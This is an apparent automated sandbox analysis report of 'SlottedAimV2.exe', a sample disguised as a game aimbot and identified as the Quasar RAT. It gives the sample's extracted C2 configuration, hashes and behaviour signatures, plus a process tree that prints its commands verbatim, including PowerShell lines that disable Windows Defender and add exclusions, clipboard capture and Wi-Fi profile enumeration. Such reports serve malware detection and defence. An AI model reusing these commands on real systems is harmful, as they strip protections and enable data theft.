Overview

overview

10

Static

static

10

SlottedAimV2.exe

windows7-x64

7

SlottedAimV2.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-11-2024 04:13

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    SlottedAimV2.exe

  • Size

    7.0MB

  • MD5

    decace854bd66eba96581505cbb1f785

  • SHA1

    dfd6824e2db3a2ebb89208f0e5f69e6cc1661da6

  • SHA256

    ebbdf48aafe6c046eca7512a4e764629559392147518fdf2917751a891bfcd5d

  • SHA512

    e55f8afc9a36913aaa24932a94b82100a53accd4f5d8865fc207c9b50c607efa259115d53d5926e0b45c99c0b9dece02996a6b8db5d365af122ccbcdd69823c8

  • SSDEEP

    196608:WrSUf0qyleOjmFQR4MVGFtwLPCnL2hVcL:PVXKtM5LPCGcL

Score
10/10
quasarfortnitecollectioncredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealertrojanupx

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

FORTNITE

C2

hanekese.ddns.net:1005

Mutex

QSR_MUTEX_uKpgto5HxTzlVefHo9

Attributes
  • encryption_key

    RayN5IunUgPITKqRBUZA

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    mac updater

  • subdirectory

    SubDir

Signatures

  • Quasar RAT 4 IoCs

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

    execution
  • Checks computer location settings 2 TTPs 14 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 15 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
    discovery
  • UPX packed file 57 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 14 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 56 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 14 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs ping.exe 1 TTPs 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe
    "C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3560
    • C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe
      "C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3032
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2420
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4068
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Quasar RAT
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3680
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4920
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1752
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "start bound.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1132
        • C:\Users\Admin\AppData\Local\Temp\bound.exe
          bound.exe
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4048
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ee9jcFUyFE9A.bat" "
            5⤵
            • System Location Discovery: System Language Discovery
            PID:464
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              6⤵
              • System Location Discovery: System Language Discovery
              PID:4352
            • C:\Windows\SysWOW64\PING.EXE
              ping -n 10 localhost
              6⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:2948
            • C:\Users\Admin\AppData\Local\Temp\bound.exe
              "C:\Users\Admin\AppData\Local\Temp\bound.exe"
              6⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:5012
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Fh85kjBKEWBV.bat" "
                7⤵
                • System Location Discovery: System Language Discovery
                PID:404
                • C:\Windows\SysWOW64\chcp.com
                  chcp 65001
                  8⤵
                  • System Location Discovery: System Language Discovery
                  PID:1032
                • C:\Windows\SysWOW64\PING.EXE
                  ping -n 10 localhost
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:3220
                • C:\Users\Admin\AppData\Local\Temp\bound.exe
                  "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                  8⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of SetWindowsHookEx
                  PID:4888
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Vb0o5tUVc5jy.bat" "
                    9⤵
                    • System Location Discovery: System Language Discovery
                    PID:1988
                    • C:\Windows\SysWOW64\chcp.com
                      chcp 65001
                      10⤵
                      • System Location Discovery: System Language Discovery
                      PID:1140
                    • C:\Windows\SysWOW64\PING.EXE
                      ping -n 10 localhost
                      10⤵
                      • System Location Discovery: System Language Discovery
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:4388
                    • C:\Users\Admin\AppData\Local\Temp\bound.exe
                      "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                      10⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of SetWindowsHookEx
                      PID:788
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\aq7JYI5ca9ae.bat" "
                        11⤵
                        • System Location Discovery: System Language Discovery
                        PID:4500
                        • C:\Windows\SysWOW64\chcp.com
                          chcp 65001
                          12⤵
                          • System Location Discovery: System Language Discovery
                          PID:1072
                        • C:\Windows\SysWOW64\PING.EXE
                          ping -n 10 localhost
                          12⤵
                          • System Location Discovery: System Language Discovery
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:1256
                        • C:\Users\Admin\AppData\Local\Temp\bound.exe
                          "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                          12⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of SetWindowsHookEx
                          PID:3452
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cb50GU5eqGYQ.bat" "
                            13⤵
                            • System Location Discovery: System Language Discovery
                            PID:2908
                            • C:\Windows\SysWOW64\chcp.com
                              chcp 65001
                              14⤵
                              • System Location Discovery: System Language Discovery
                              PID:876
                            • C:\Windows\SysWOW64\PING.EXE
                              ping -n 10 localhost
                              14⤵
                              • System Location Discovery: System Language Discovery
                              • System Network Configuration Discovery: Internet Connection Discovery
                              • Runs ping.exe
                              PID:2416
                            • C:\Users\Admin\AppData\Local\Temp\bound.exe
                              "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                              14⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of SetWindowsHookEx
                              PID:4692
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hqDWjthknLP6.bat" "
                                15⤵
                                • System Location Discovery: System Language Discovery
                                PID:4676
                                • C:\Windows\SysWOW64\chcp.com
                                  chcp 65001
                                  16⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4400
                                • C:\Windows\SysWOW64\PING.EXE
                                  ping -n 10 localhost
                                  16⤵
                                  • System Location Discovery: System Language Discovery
                                  • System Network Configuration Discovery: Internet Connection Discovery
                                  • Runs ping.exe
                                  PID:968
                                • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                  "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                                  16⤵
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4004
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WzqgQSGzPBjf.bat" "
                                    17⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3500
                                    • C:\Windows\SysWOW64\chcp.com
                                      chcp 65001
                                      18⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:4340
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 10 localhost
                                      18⤵
                                      • System Location Discovery: System Language Discovery
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:3288
                                    • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                      "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                                      18⤵
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5068
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\sqbMRtW2OS0N.bat" "
                                        19⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:372
                                        • C:\Windows\SysWOW64\chcp.com
                                          chcp 65001
                                          20⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3316
                                        • C:\Windows\SysWOW64\PING.EXE
                                          ping -n 10 localhost
                                          20⤵
                                          • System Location Discovery: System Language Discovery
                                          • System Network Configuration Discovery: Internet Connection Discovery
                                          • Runs ping.exe
                                          PID:1456
                                        • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                          "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                                          20⤵
                                          • Checks computer location settings
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious use of SetWindowsHookEx
                                          PID:208
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Moi1v1TUqELR.bat" "
                                            21⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:912
                                            • C:\Windows\SysWOW64\chcp.com
                                              chcp 65001
                                              22⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4988
                                            • C:\Windows\SysWOW64\PING.EXE
                                              ping -n 10 localhost
                                              22⤵
                                              • System Location Discovery: System Language Discovery
                                              • System Network Configuration Discovery: Internet Connection Discovery
                                              • Runs ping.exe
                                              PID:3512
                                            • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                              "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                                              22⤵
                                              • Checks computer location settings
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of SetWindowsHookEx
                                              PID:1216
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zqhZcV8Bcdpo.bat" "
                                                23⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:1256
                                                • C:\Windows\SysWOW64\chcp.com
                                                  chcp 65001
                                                  24⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:232
                                                • C:\Windows\SysWOW64\PING.EXE
                                                  ping -n 10 localhost
                                                  24⤵
                                                  • System Location Discovery: System Language Discovery
                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                  • Runs ping.exe
                                                  PID:2768
                                                • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                                                  24⤵
                                                  • Checks computer location settings
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:3844
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ozKjJ4hQDT8O.bat" "
                                                    25⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:1484
                                                    • C:\Windows\SysWOW64\chcp.com
                                                      chcp 65001
                                                      26⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4316
                                                    • C:\Windows\SysWOW64\PING.EXE
                                                      ping -n 10 localhost
                                                      26⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                      • Runs ping.exe
                                                      PID:3272
                                                    • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                                                      26⤵
                                                      • Checks computer location settings
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:3908
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jhgxRmNoSyiM.bat" "
                                                        27⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2068
                                                        • C:\Windows\SysWOW64\chcp.com
                                                          chcp 65001
                                                          28⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2064
                                                        • C:\Windows\SysWOW64\PING.EXE
                                                          ping -n 10 localhost
                                                          28⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                          • Runs ping.exe
                                                          PID:4572
                                                        • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                                                          28⤵
                                                          • Checks computer location settings
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:4652
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\PJYpmezLLFkD.bat" "
                                                            29⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1540
                                                            • C:\Windows\SysWOW64\chcp.com
                                                              chcp 65001
                                                              30⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:720
                                                            • C:\Windows\SysWOW64\PING.EXE
                                                              ping -n 10 localhost
                                                              30⤵
                                                              • System Location Discovery: System Language Discovery
                                                              • System Network Configuration Discovery: Internet Connection Discovery
                                                              • Runs ping.exe
                                                              PID:4352
                                                            • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\bound.exe"
                                                              30⤵
                                                              • Checks computer location settings
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:1412
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zKidgNViaqWg.bat" "
                                                                31⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:5032
                                                                • C:\Windows\SysWOW64\chcp.com
                                                                  chcp 65001
                                                                  32⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:448
                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                  ping -n 10 localhost
                                                                  32⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                                  • Runs ping.exe
                                                                  PID:4224
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 1664
                                                                31⤵
                                                                • Program crash
                                                                PID:1552
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4652 -s 1716
                                                            29⤵
                                                            • Program crash
                                                            PID:528
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 3908 -s 1568
                                                        27⤵
                                                        • Program crash
                                                        PID:1612
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 2240
                                                    25⤵
                                                    • Program crash
                                                    PID:4724
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 2240
                                                23⤵
                                                • Program crash
                                                PID:3376
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 208 -s 2228
                                            21⤵
                                            • Program crash
                                            PID:2876
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 2240
                                        19⤵
                                        • Program crash
                                        PID:3904
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 2236
                                    17⤵
                                    • Program crash
                                    PID:1132
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4692 -s 2240
                                15⤵
                                • Program crash
                                PID:4552
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3452 -s 1928
                            13⤵
                            • Program crash
                            PID:4068
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 788 -s 2216
                        11⤵
                        • Program crash
                        PID:4992
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4888 -s 2240
                    9⤵
                    • Program crash
                    PID:4620
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 1680
                7⤵
                • Program crash
                PID:3808
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4048 -s 1940
            5⤵
            • Program crash
            PID:1700
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4220
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:212
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2068
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:740
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:4080
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3100
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:3840
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4352
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:4680
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4896
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:4616
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ​   .scr'"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1736
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ​   .scr'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1396
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:876
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:4768
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1200
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:2880
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            3⤵
              PID:4308
              • C:\Windows\System32\Wbem\WMIC.exe
                WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                4⤵
                  PID:2660
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                3⤵
                • Clipboard Data
                PID:948
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Get-Clipboard
                  4⤵
                  • Clipboard Data
                  • Suspicious behavior: EnumeratesProcesses
                  PID:924
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                3⤵
                  PID:3848
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FO LIST
                    4⤵
                    • Enumerates processes with tasklist
                    PID:2624
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                    PID:3384
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:3992
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                      3⤵
                      • System Network Configuration Discovery: Wi-Fi Discovery
                      PID:3740
                      • C:\Windows\system32\netsh.exe
                        netsh wlan show profile
                        4⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:1004
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "systeminfo"
                      3⤵
                        PID:1596
                        • C:\Windows\system32\systeminfo.exe
                          systeminfo
                          4⤵
                          • Gathers system information
                          PID:756
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand 